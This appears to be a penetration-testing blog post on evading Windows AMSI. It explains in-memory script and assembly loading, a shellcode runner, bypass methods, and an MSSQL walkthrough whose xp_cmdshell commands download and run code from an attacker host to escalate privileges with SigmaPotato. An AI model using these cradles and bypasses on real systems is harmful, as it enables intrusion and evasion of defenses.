← Back to list

An Investigation of AMSI Evasion

To skip all the AMSI and reflective loading background, jump to the Practical Tips for Penetration Testers section.

John Ford · 2025-10-08 22:41 · 1 claps · 8.2 min read
#amsi #powershell #penetration-testing #defense-evasion
Open on Medium ↗

An Investigation of AMSI Evasion

To skip all the AMSI and reflective loading background, jump to the Practical Tips for Penetration Testers section.

What is AMSI?

AMSI provides a set of functions you can call to scan strings or bytes and look for known bad signatures (combinations of bytes). AMSI is only applicable to certain applications that choose to use it, such as PowerShell or VBScript.

Basically the amsi.dll file gets loaded into the memory of the process, and the application (PowerShell) can choose to call the AmsiScanBuffer or AmsiScanString functions. It calls these under two conditions:

  1. Before each command is run
  2. When you try to “reflectively load an assembly”, which is a fancy way of saying run an EXE (or DLL) in memory without touching the disk using [System.Reflection.Assembly]

Why should I worry about it?

Once you have access to a host, most of your testing tools are probably one of the following:

  1. a PowerShell script
  2. a .NET assembly (type of executable or DLL that uses CLR)
  3. a normal executable
  4. a Beacon Object File (BOF) in Command and Control

If you download files to disk, antivirus will check them for known bad signatures (static analysis) and run in a sandbox to check for malicious behaviour (dynamic analysis). To avoid these defenses, it’s better to load your tools directly into memory, without touching the disk at all.

Beacon Object File

A BOF (4) is loaded into memory by the Command and Control agent and typically doesn’t call anything that would leverage AMSI, so you’re good to go there. You still have other things to worry about, like API hooking, ETW, or kernel callbacks, but that goes beyond the scope of this article.

PowerShell Script

A PowerShell script (1) can be downloaded and run directly without touching disk through a variety of methods beyond the scope of this article, but here are a couple:

# download to memory examples
$script = Invoke-WebRequest http://<attacker>/<script> -UseBasicParsing
$script = Invoke-RestMethod http://<attacker>/<script>

# run examples
$script | Invoke-Expression
& ([ScriptBlock]::Create($script))

Every command or script executed by PowerShell is passed through AMSI first.

.NET Assembly

A .NET assembly (2) can be downloaded and run directly without touching disk through PowerShell’s System.Reflection.Assembly, as long as the class and main function are public. Assuming you have access to the source code, you can easily ensure that’s the case.

# download bytes
$script = Invoke-WebRequest http://<attacker>/<script> -UseBasicParsing

# load into memory
$assembly = [System.Reflection.Assembly]::Load($script.Content)

$entry = $assembly.EntryPoint

# run - option 1: call function directly
Write-Output "[$($entry.DeclaringType.FullName)]::$($entry.Name)("""".Split())"
# copy and paste the output

# run - option 2: invoke entrypoint
$entry.Invoke($null, @([string[]]@()))

Rather than downloading the assembly, you can also base64 encode it and include it in a PowerShell script, as shown below. This is what PowerSharpPack does, along with compressing the assembly.

# get base64 on attacker Windows with AV disabled
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<script>")) > SigmaPotato.b64

# PowerShell script to run on target
$base64 = "<base64>"
$bytes = [Convert]::FromBase64String($base64)
[System.Reflection.Assembly]::Load($bytes)
...

Every assembly loaded with [System.Reflection.Assembly]::Load in PowerShell (or Assembly.Load in general) is passed through AMSI first.

Normal Executable

A normal executable (3) is a portable executable (PE) file. Before it runs, Windows must do chores like:

  • laying out the program’s parts in memory
  • fixing addresses that depend on where it lands
  • hooking up the program’s “I need function X from system library Y” requests
  • running any “before we start” initializers

If you only download the file’s bytes into memory and try to run them, those chores haven’t happened, so it usually crashes or does nothing.

To run an executable in memory, you have to do all those chores yourself. To do those chores, you call the correct “Windows APIs”, which are functions provided to you by Windows in library (DLL) files. These functions themselves instruct the Operating System (kernel) on what to do through special instructions (syscalls).

There are two ways of calling these Windows APIs:

  • P/Invoke (straightforward): You say up front which Windows library and function you need. When the program runs, Windows loads that library (if needed), finds the function, and your program calls it the normal, supported way.
  • **D/Invoke (stealthier):** You don’t list functions ahead of time. While running, your program looks through what’s already in memory to find the function’s address and calls it by that address. This keeps the function names out of your program file.

BetterSafetyKatz is a good example of a tool that runs mimikatz, a “normal” executable, using D/Invoke. BetterSafetyKatz itself is written in .NET, making it a .NET assembly that you can download and run in memory, as shown in the previous section.

Either way, doing all those chores by making the appropriate function calls in the right order is no small task. It would be nice to have a piece of code you could run that does all this for you. Fortunately, that’s what projects like donut are for.

Donut lets you provide an executable, and turn it into one self-contained piece of machine code (shellcode). It repackages the executable and adds a tiny built-in loader. Loader + packaged executable = shellcode. When that shellcode runs, the built-in loader does all the chores that the OS would normally do. You still have to place the shellcode in memory and start it and can use P/Invoke or D/Invoke to do that part. After that, the shellcode’s own loader handles the rest.

Here’s the most basic example of using P/Invoke to call that shellcode in PowerShell.

[byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,... # your donut shellcode here
# you could also download this using one of the methods above (like Invoke-WebRequest)

# declare the functions you need
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UnsafeNative {
    [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);
    [DllImport("kernel32")] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

# create memory space for the shellcode
$mem = [UnsafeNative]::VirtualAlloc(0, $buf.Length, 0x1000 -bor 0x2000, 0x40)

# copy the shellcode to memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)

# create a new thread that runs the shellcode
$tid = 0
$th = [UnsafeNative]::CreateThread(0, 0, $mem, 0, 0, [ref]$tid)
[UnsafeNative]::WaitForSingleObject($th, 0xFFFFFFFF)

Code that’s loaded through P/Invoke or D/Invoke does not get analyzed by AMSI. However, all the PowerShell commands you run do.

In the PowerShell example above, assuming $buff was downloaded rather than directly provided, AMSI would not see its contents, so it would not see the tool you’re trying to run! However, it would see the PowerShell code used to run it and potentially call that out as being malicious: normal users probably wouldn’t have a reason to call VirtualAlloc and CreateThread in PowerShell.

In BetterSafetyKatz, for example, mimikatz is directly downloaded and run in memory with D/Invoke. Because its run with D/Invoke, AMSI would not see mimikatz itself. However, BetterSafetyKatz must be loaded with [System.Reflection.Assembly]::Load, causing the code for BetterSafetyKatz (the code that does the downloading and running of mimikatz) to be analyzed by AMSI.

Avoiding AMSI Altogether

AMSI looks at the content for known bad signatures (combinations of bytes). This means in theory it’s trivial to get around it because all you have to do is change the code a bit so that signature no longer matches. In practice though, that means:

If you’re running a malicious PowerShell command, you have to rewrite the PowerShell command a different way.

If you’re loading an assembly, your options are:

  • Write your own custom tool.
  • Dig into the code of the tools you’re using, figure out exactly what is being detected, and change that portion. ThreatCheck is a great tool to assist with that.
  • Find a good “obfuscation” method that changes how the code looks without impacting what it does. There are some commercially available tools for doing that and more, like BallisKit ShellcodePack.

Bypassing AMSI

Doing that for every command or tool you want to run would be super annoying, so better to just disable AMSI altogether. This is known as an “AMSI bypass”. I highly recommend reading through this blog post to understand it better.

Basically, your options are

  • Patching: Overwrite portions of one of the AMSI functions (like AmsiScanBuffer), which are found in process memory after the DLL (like amsi.dll) is loaded.
  • Hardware Breakpoints: Tell the code to stop running when it hits a certain memory address then run some other code instead. There’s a special debug register in Windows for this, so you don’t have to modify the memory itself.
  • Stop amsi.dll or related DLLs from loading into memory in the first place.

Also, as mentioned in the linked blog post, not all bypasses are created equal. This is because of how AMSI gets run by PowerShell.

  • For commands: powershell.exe —calls→ ScanContent in clr.dll —calls→ AmsiScanString in amsi.dll,
  • For reflective loading: powershell.exe requests load → CLR loads → CLR calls AmsiScanBuffer

So if you patch ScanContentfor example, you’ll be able to run any PowerShell command but still get blocked if trying to reflectively load an assembly. See the blog post for a great visual of each AMSI bypass and exactly what it bypasses vs doesn’t bypass.

By the way, a cryptic error message about the loaded assembly being in an “incorrect format” typically means your load was blocked by AMSI.

Practical Tips for Penetration Testers

Now that you have context, how do we actually get around AMSI for a pen test?

  1. Develop or find a working AMSI bypass that itself doesn’t get caught by AMSI.
  2. Rewrite/obfuscate the tool or PowerShell script you want to load. If you own a commercial packer, you can just use that!
  3. Run a version of PowerShell that doesn’t load AMSI. PowerChell is amazing for this, and since it doesn’t do anything malicious by itself, you can typically just drop it to disk and run it. Just remember to clean up after yourself and delete it after.

An Example

Context: You gained sysadmin access to an MSSQL server. Using xp_cmdshell, you can run commands as the SQL service account. Running whoami /priv, you observed that the SQL service account has SeImpersonatePrivilege. You know that you can leverage this to escalate privileges on the host with a tool like SigmaPotato.

Goal: The goal here is to reflectively load an assembly (SigmaPotato.exe) without being blocked by AMSI.

  1. Unfortunately, while there are many good public bypasses for PowerShell like TrollAMSI, I don’t know of any that wouldn’t get caught and would also let us reflectively load an assembly. You could do something fancy like run TrollAMSI to bypass the PowerShell command checking then run another bypass that bypasses reflective loads also. I actually did do this once, and it felt pretty cool. I’m lazy and don’t care to try that here though.
  2. I’m trying to find a way to do this for free, so I’m not going to use a commercial packer unless absolutely necessary, though that can be an easy win on a pen test. I did try to change “Potato” to “Kitten”, remove the Console.WriteLine statements and change the GUID for the project (in .csproj file), then recompile to make a new .exe file. This has worked for me before with Rubeus, but unfortunately was not sufficient for bypassing AMSI in this case.
  3. This is what worked for me. See below.

PowerShell without AMSI

First, I determined a folder that’s writeable by the MSSQL service user. The user has to be able to actually write to the database and store logs, so those folders need to be writeable. C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\

Then I downloaded PowerChell from GitHub, opened it in Visual Studio, and compiled it to get PowerChell.exe

I uploaded PowerChell.exe to my attacker Kali machine and hosted it with python -m http.server 80

In the mssqlclient.py session, I downloaded PowerChell.exe through normal PowerShell and figured out how to run PowerShell commands through it. This took some trial-and-error, with lots of trying " vs \" and ; vs &&,

# download PowerChell
xp_cmdshell powershell IWR http://192.168.1.11/PowerChell.exe -OutFile \"C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\PowerChell.exe\"

# run command
xp_cmdshell cd "C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA" && .\PowerChell -c "<command>"

Running command Invoke-Mimikatz, it complained that the command is "not found", indicating that AMSI had been bypassed. Otherwise, it would've thrown an antivirus error instead.

I changed the command to download a script and run it, also hosted on my Kali machine. Then I don’t have to deal with escaping double quotes anymore. I can just write the PowerShell the way I want it in the script. Note: xp_cmdshell is picky about -UseBasicParsing being included for some reason.

xp_cmdshell cd "C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA" && .\PowerChell -c "IEX(IWR http://192.168.1.11/run.ps1 -UseBasicParsing)"

In my run.ps1 script, I first tried pulling SigmaPotato directly over HTTP but kept getting weird errors.

$bytes = IWR http://192.168.1.11/SigmaPotato.exe -UseBasicParsing
[System.Reflection.Assembly]::Load($bytes.Content)
[SigmaPotato]::Main("whoami")

Instead, I converted it to base64 and included that directly in the file.

# get base64 - ran on attacker Windows
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Tools\SigmaPotato.exe')) > SigmaPotato.b64

# new contents of run.ps1
$base64 = "<base64>"
$bytes = [Convert]::FromBase64String($base64)
[System.Reflection.Assembly]::Load($bytes)
[SigmaPotato]::Main("whoami")

This worked and successfully got around AMSI, running SigmaPotato.


메타데이터
post_id
5ccacb217e06
slug
an-investigation-of-amsi-evasion-5ccacb217e06
url
https://medium.com/@redefiningreality/an-investigation-of-amsi-evasion-5ccacb217e06
canonical_url
https://medium.com/@redefiningreality/an-investigation-of-amsi-evasion-5ccacb217e06
author_url
https://medium.com/@redefiningreality
status
ok
fetched_at
2026-06-16 19:09:56